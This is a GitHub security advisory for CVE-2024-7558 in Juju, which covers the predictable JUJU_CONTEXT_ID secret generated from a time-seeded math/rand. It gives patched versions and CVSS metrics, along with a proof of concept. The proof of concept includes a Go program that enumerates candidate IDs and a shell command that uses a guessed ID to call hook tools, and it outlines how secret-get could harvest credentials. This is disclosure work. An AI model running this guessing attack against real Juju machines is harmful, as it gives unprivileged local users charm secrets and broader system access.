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JUJU_CONTEXT_ID is a predictable authentication secret

Moderate severity GitHub Reviewed Published Oct 2, 2024 in juju/juju • Updated Oct 9, 2024

Package

gomod github.com/juju/juju (Go)

Affected versions

< 0.0.0-20240826044107-ecd7e2d0e986

Patched versions

0.0.0-20240826044107-ecd7e2d0e986

Description

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components:

  • the application name
  • the unit number
  • the hook being currently run
  • a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem.
The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.
Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Impact

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

Patches

Patch: juju/juju@ecd7e2d
Patched in:

  • 3.5.4
  • 3.4.6
  • 3.3.7
  • 3.1.10
  • 2.9.51

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152
https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

.
|-- hooks
|   `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
  - name: ubuntu
    channel: 22.04/stable
    architectures:
      - amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit:

ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:

nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
  File: unit-sleepy-0.log
  Size: 1403      	Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d	Inode: 25967076    Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program:

package main

import (
	"flag"
	"fmt"
	"math/rand"
	"time"
)

func main() {
	var unitName string
	var unitStartLogTime string
	var currentHook string
	flag.StringVar(&unitName, "u", "sleepy/0", "")
	flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
	flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now")
	flag.Parse()

	t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
	if err != nil {
		panic(err)
	}

	sources := []rand.Source{
		rand.NewSource(t.Unix()),
		rand.NewSource(t.Unix() - 1),
		rand.NewSource(t.Unix() - 2),
	}

	for i := 0; i < 10; i++ {
		for _, source := range sources {
			fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
		}
	}
}

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930

Unfortunately, this worked too well.

nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

References

@hpidcock hpidcock published to juju/juju Oct 2, 2024
Published to the GitHub Advisory Database Oct 3, 2024
Reviewed Oct 3, 2024
Last updated Oct 9, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H

EPSS score

0.043%
(11th percentile)

Weaknesses

CVE ID

CVE-2024-7558

GHSA ID

GHSA-mh98-763h-m9v4

Source code

Credits

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